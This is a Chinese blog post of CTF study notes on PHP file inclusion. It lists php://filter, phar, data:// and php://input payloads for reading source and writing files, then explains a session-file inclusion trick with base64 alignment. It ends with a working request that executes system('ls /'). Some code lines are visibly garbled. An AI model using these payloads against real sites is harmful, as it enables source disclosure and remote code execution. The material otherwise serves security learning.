WEB安全之文件包含

134 阅读3分钟

开启掘金成长之旅!这是我参与「掘金日新计划 · 12 月更文挑战」的第13天,点击查看活动详情

0x5、文件包含

1发现危险函数

2有文件上传点

a=a=_GET['x']

3is_file等函数的参数完全可控 is_file($a)

blog.csdn.net/cosmoslin/a…

phar:///文件路径

php://filter/read=convert.base64-encode/resource=xxx.php

php://filter伪协议可以嵌套,套一层要求的$file eg [BSidesCF 2020]Had a bad day

php://filter/read=convert.base64-encode/woofers/resource=flag

php://filter/write=convert.base64-decode/woofers/resource=flag

php://filter/read=string.rot13/resource=index.php #再用ctfcrack解码

php://filter/write=string.rot13/resource=index.php

php://filter/convert.iconv.utf8.utf16le/resource=a.php

php://filter/convert.iconv.utf8.utf7/resource=a.php

echo iconv('utf-7','utf-8','flag+AHs-0a7160606ec679174478f508557f415c+AH0AIgA7 ?+AD4-'); # 到php中解码

php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php

echo iconv("UCS-2LE","UCS-2BE","?<hp phpipfn(o;)>?");

data://text/plain,

data:, +一定要变成%2b

php://input (读取post数据)

一、SESSION文件包含

看到session_start() 注意一点

首先了解一下PHP文件包含漏洞----包含session

利用条件:session文件路径已知,且其中内容部分可控。

姿势:

php的session文件的保存路径可以在phpinfo的session.save_path看到。

常见的php-session存放位置:

/var/lib/php/sess_PHPSESSID

/var/lib/php/sess_PHPSESSID

/tmp/sess_PHPSESSID

/tmp/sessions/sess_PHPSESSID

session 的文件名格式为 sess_[phpsessid]。而 phpsessid 在发送的请求的 cookie 字段中可以看到。

要包含并利用的话,需要能控制部分sesssion文件的内容。暂时没有通用的办法。有些时候,可以先包含进session文件,观察里面的内容,然后根据里面的字段来发现可控的变量,从而利用变量来写入payload,并之后再次包含从而执行php代码。

base64_encode

能包含,并且控制session文件,但要写入可用的payload,还需要绕过:

SESSION[username]=base64encode(_SESSION['username'] = base64_encode(username);

如前面所示,输入的用户名会被base64加密。如果直接用php伪协议来解密整个session文件,由于序列化的前缀,势必导致乱码。

考虑一下base64的编码过程。比如编码abc。

未编码: abc

转成ascii码: 97 98 99

转成对应二进制(三组,每组8位): 01100001 01100010 01100011

重分组(四组,每组6位): 011000 010110 001001 100011

每组高位补零,变为每组8位:00011000 00010110 00001001 00100011

每组对应转为十进制: 24 22 9 35

查表得: Y W J j

考虑一下session的前缀:username|s:12:",中间的数字12表示后面base64串的长度。当base64串的长度小于100时,前缀的长度固定为15个字符,当base64串的长度大于100小于1000时,前缀的长度固定为16个字符。

由于16个字符,恰好满足一下条件:

16个字符 => 16 * 6 = 96 位 => 96 mod 8 = 0

也就是说,当对session文件进行base64解密时,前16个字符固然被解密为乱码,但不会再影响从第17个字符后的部分也就是base64加密后的username。

chybetachybetachybetachybetachybetachybetachybetachybetachybeta

?file=php://filter/read=convert.base64-decode/resource=/tmp/sess_389e74d38d93d60df71875ff093d272f&1=system('ls /');